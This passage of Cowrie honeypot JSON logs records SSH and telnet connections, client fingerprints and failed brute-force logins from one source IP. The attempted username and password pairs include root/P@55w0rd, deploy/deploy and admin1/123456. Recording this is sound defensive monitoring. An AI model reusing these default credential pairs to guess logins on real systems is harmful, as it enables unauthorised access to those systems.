enssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:44.500227Z","src_ip":"192.109.200.237","session":"40236306325b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.99869751930237,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:44.516863Z","src_ip":"50.6.8.71","session":"447d8f574b98","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:44.826858Z","src_ip":"192.109.200.237","session":"40236306325b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:45.912767Z","src_ip":"192.109.200.237","session":"40236306325b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":50478,"dst_ip":"10.17.0.5","dst_port":23,"session":"05763c0d9de9","protocol":"telnet","message":"New connection: 50.6.8.71:50478 (10.17.0.5:23) [session: 05763c0d9de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:45.948078Z"}
{"eventid":"cowrie.session.closed","duration":45.50007653236389,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:46.059987Z","src_ip":"50.6.8.71","session":"06f525de1458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49708,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f312961ad41","protocol":"ssh","message":"New connection: 192.109.200.237:49708 (159.203.135.109:22) [session: 4f312961ad41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:48.036213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:48.040445Z","src_ip":"192.109.200.237","session":"4f312961ad41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:48.123781Z","src_ip":"192.109.200.237","session":"4f312961ad41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:48.487919Z","src_ip":"192.109.200.237","session":"4f312961ad41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:49.571864Z","src_ip":"192.109.200.237","session":"4f312961ad41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":65048,"dst_ip":"10.17.0.5","dst_port":23,"session":"9704093241c4","protocol":"telnet","message":"New connection: 212.252.73.4:65048 (10.17.0.5:23) [session: 9704093241c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:51.250634Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47224,"dst_ip":"159.203.135.109","dst_port":22,"session":"84ecd97220ec","protocol":"ssh","message":"New connection: 192.109.200.237:47224 (159.203.135.109:22) [session: 84ecd97220ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:51.499754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:51.504042Z","src_ip":"192.109.200.237","session":"84ecd97220ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:51.585694Z","src_ip":"192.109.200.237","session":"84ecd97220ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:51.832060Z","src_ip":"192.109.200.237","session":"84ecd97220ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:52.916554Z","src_ip":"192.109.200.237","session":"84ecd97220ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47236,"dst_ip":"159.203.135.109","dst_port":22,"session":"356472121cd4","protocol":"ssh","message":"New connection: 192.109.200.237:47236 (159.203.135.109:22) [session: 356472121cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:54.982144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:54.989256Z","src_ip":"192.109.200.237","session":"356472121cd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:55.173473Z","src_ip":"192.109.200.237","session":"356472121cd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:55.473261Z","src_ip":"192.109.200.237","session":"356472121cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58906,"dst_ip":"10.17.0.5","dst_port":23,"session":"61b5c6bc2736","protocol":"telnet","message":"New connection: 50.6.8.71:58906 (10.17.0.5:23) [session: 61b5c6bc2736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:55.742303Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:56.558843Z","src_ip":"192.109.200.237","session":"356472121cd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47244,"dst_ip":"159.203.135.109","dst_port":22,"session":"997638184170","protocol":"ssh","message":"New connection: 192.109.200.237:47244 (159.203.135.109:22) [session: 997638184170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:58.806616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:58.811269Z","src_ip":"192.109.200.237","session":"997638184170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:58.897105Z","src_ip":"192.109.200.237","session":"997638184170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:29:59.144635Z","src_ip":"192.109.200.237","session":"997638184170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:00.302457Z","src_ip":"192.109.200.237","session":"997638184170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45062,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dd6e56e8ad3","protocol":"ssh","message":"New connection: 192.109.200.237:45062 (159.203.135.109:22) [session: 8dd6e56e8ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:02.478808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:02.484927Z","src_ip":"192.109.200.237","session":"8dd6e56e8ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:02.577436Z","src_ip":"192.109.200.237","session":"8dd6e56e8ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:03.072427Z","src_ip":"192.109.200.237","session":"8dd6e56e8ad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:04.167568Z","src_ip":"192.109.200.237","session":"8dd6e56e8ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45076,"dst_ip":"159.203.135.109","dst_port":22,"session":"354070e7481a","protocol":"ssh","message":"New connection: 192.109.200.237:45076 (159.203.135.109:22) [session: 354070e7481a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:06.406024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:06.414829Z","src_ip":"192.109.200.237","session":"354070e7481a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:06.510921Z","src_ip":"192.109.200.237","session":"354070e7481a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:06.759768Z","src_ip":"192.109.200.237","session":"354070e7481a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:07.846405Z","src_ip":"192.109.200.237","session":"354070e7481a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45078,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fafc85cc5d7","protocol":"ssh","message":"New connection: 192.109.200.237:45078 (159.203.135.109:22) [session: 8fafc85cc5d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:09.889913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:09.895099Z","src_ip":"192.109.200.237","session":"8fafc85cc5d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:09.979306Z","src_ip":"192.109.200.237","session":"8fafc85cc5d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:10.228054Z","src_ip":"192.109.200.237","session":"8fafc85cc5d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:11.315886Z","src_ip":"192.109.200.237","session":"8fafc85cc5d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39018,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a66851ff91a","protocol":"ssh","message":"New connection: 192.109.200.237:39018 (159.203.135.109:22) [session: 9a66851ff91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:13.557384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:30:13.571539Z","src_ip":"192.109.200.237","session":"9a66851ff91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS